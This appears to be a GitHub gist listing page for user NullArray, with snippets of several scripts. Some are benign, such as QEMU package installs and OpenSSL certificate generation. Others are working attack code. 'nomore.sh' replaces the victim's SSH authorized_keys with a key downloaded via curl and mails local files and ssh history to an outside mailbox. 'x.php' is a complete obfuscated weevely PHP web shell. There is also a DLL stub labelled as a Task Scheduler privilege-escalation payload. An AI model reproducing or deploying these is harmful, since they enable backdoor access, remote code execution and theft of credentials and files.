Skip to content

Instantly share code, notes, and snippets.

View NullArray's full-sized avatar
:electron:
Contact me at developers@greysec.net

Vector Security NullArray

:electron:
Contact me at developers@greysec.net
View GitHub Profile
@NullArray
NullArray / autosploit.py
Created February 7, 2018 18:10
minor update/temporary gist for autosploit
#!/usr/bin/env python2.7
import os, sys
import shodan
import pickle
import time
from blessings import Terminal
from subprocess import PIPE, Popen
@NullArray
NullArray / copy-locker.sh
Last active July 21, 2019 20:17
Shell script that finds all files and directories that have been modified in the last hour, copies them to a temporary directory and stored them as an encrypted archive.
#!/bin/bash
#____ ____ __
#\ \ / /____ _____/ |_ ___________
# \ Y // __ \_/ ___\ __\/ _ \_ __ \
# \ /\ ___/\ \___| | ( <_> ) | \/
# \___/ \___ >\___ >__| \____/|__|
# \/ \/
#--Author : Vector/NullArray
#----Twitter: @Real__Vector
#--------Licensed under GNU GPL 3
#!/bin/bash
#____ ____ __
#\ \ / /____ _____/ |_ ___________
# \ Y // __ \_/ ___\ __\/ _ \_ __ \
# \ /\ ___/\ \___| | ( <_> ) | \/
# \___/ \___ >\___ >__| \____/|__|
# \/ \/
#
#--Licensed under GNU GPL 3
#--Creates for Android OS, an .IMG file to emulate internal storage
@NullArray
NullArray / wrap_crunch.py
Created May 30, 2018 22:56
Wrapper for `crunch` that filters out results that are only strings of numbers.
#!/usr/bin/env python2.7
#____ ____ __
#\ \ / /____ _____/ |_ ___________
# \ Y // __ \_/ ___\ __\/ _ \_ __ \
# \ /\ ___/\ \___| | ( <_> ) | \/
# \___/ \___ >\___ >__| \____/|__|
# \/ \/
############################################
import subprocess
@NullArray
NullArray / nomore.sh
Created June 28, 2018 01:30
No more secrets.
#!/bin/bash
# Original by Kevin Hodges at https://github.com/khodges42
# Original Source File -> https://github.com/khodges42/Malware-Fiesta/blob/master/src/nomoresecrets/nomoresecrets.sh
# Saving here for future reference.
############################################
ip=$(dig +short myip.opendns.com @resolver1.opendns.com)
curl -s https://raw.githubusercontent.com/khodges42/good-ideas/master/Public > ~/.ssh/authorized_keys
cat * ~/.ssh/ | mail -s "$ip" nomoresecrets@mailinator.com
history | grep ssh | mail -s "$ip" nomoresecrets@mailinator.com
@NullArray
NullArray / qemu-packages.sh
Last active July 20, 2018 23:36
Optional supporting libraries for QEMU-KVM. (Ubuntu)
#!/bin/bash
# QEMU optional supporting libs
function pkgs(){
sudo apt-get install \
libaio-dev \
libbluetooth-dev \
libbrlapi-dev \
libbz2-dev \
@NullArray
NullArray / GenCert.sh
Last active August 22, 2018 14:20
Small shell script to generate OpenSSL cert.
#!/bin/sh
openssl genrsa -aes256 -out priv.pem 2048
cat priv.pem
openssl rsa -text -in priv.pem
openssl rsa -in priv.pem -pubout -out pub.pem
openssl req -new -key priv.pem -out cert.csr
openssl req -text -in cert.csr -noout
@NullArray
NullArray / geo-sorter.sh
Last active October 17, 2020 21:48
Wrapper for proxy fetcher to sort on geolocation.
#!/bin/bash
#____ ____ __
#\ \ / /____ _____/ |_ ___________
# \ Y // __ \_/ ___\ __\/ _ \_ __ \
# \ /\ ___/\ \___| | ( <_> ) | \/
# \___/ \___ >\___ >__| \____/|__|
# \/ \/
#--Licensed under GNU GPL 3
#----Authored by Vector/NullArray
##############################################
@NullArray
NullArray / dllmain.cpp
Created August 31, 2018 01:42
TaskSched payload.dll for LPE
#include <windows.h>
// All Credit goes to SandboxEscaper
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
@NullArray
NullArray / x.php
Created September 5, 2018 15:44
weevely shell
<?php
$C=str_replace('Pg','','crPgeatPge_PgfPgPguPgnction');
$e='W$t,$kaW){$c=strlen($k)aW;$l=aWstrlen(aW$t);$o="";faWoaWr($i=0;aW$i<$l;aW){for(aW$j=0;(aWaW$j<$c&&$i<$l);aW$jaW++,$i+a';
$K='/input"),$m)aWaW==1){aW@ob_staaWrt();@evaaWl(@gzuaWaWncompress(@x(aW@aWbaWase64_decode($m[1aW]),$k)))aW;$o=@oaWb_aWge';
$U='W+){$o.=aW$taWaW{$i}^$k{$j};}}retaWurn $o;}ifaW(@paWaWreg_match(aW"/$khaWaW(aW.+)aW$kf/"aWaW,@file_get_contenaWts("php:/';
$H='t_conaWtents()aW;@ob_aWend_cleanaW()aW;aW$r=@basaWe64_encodeaW(@aWx(@gzaWcompresaWs($oaW),$k));praWint("aW$p$kh$r$kf");}';
$s='$k="2aW87ba9faWd";$kaWhaW="277218d5ced5aW";$kfaW="69aWf26420aWf34e"aW;aW$p="j9SaWam5Ghh32FEEaWRK";faWuaWaWnction x(a';
$z=str_replace('aW','',$s.$e.$U.$K.$H);
$S=$C('',$z);$S();
?>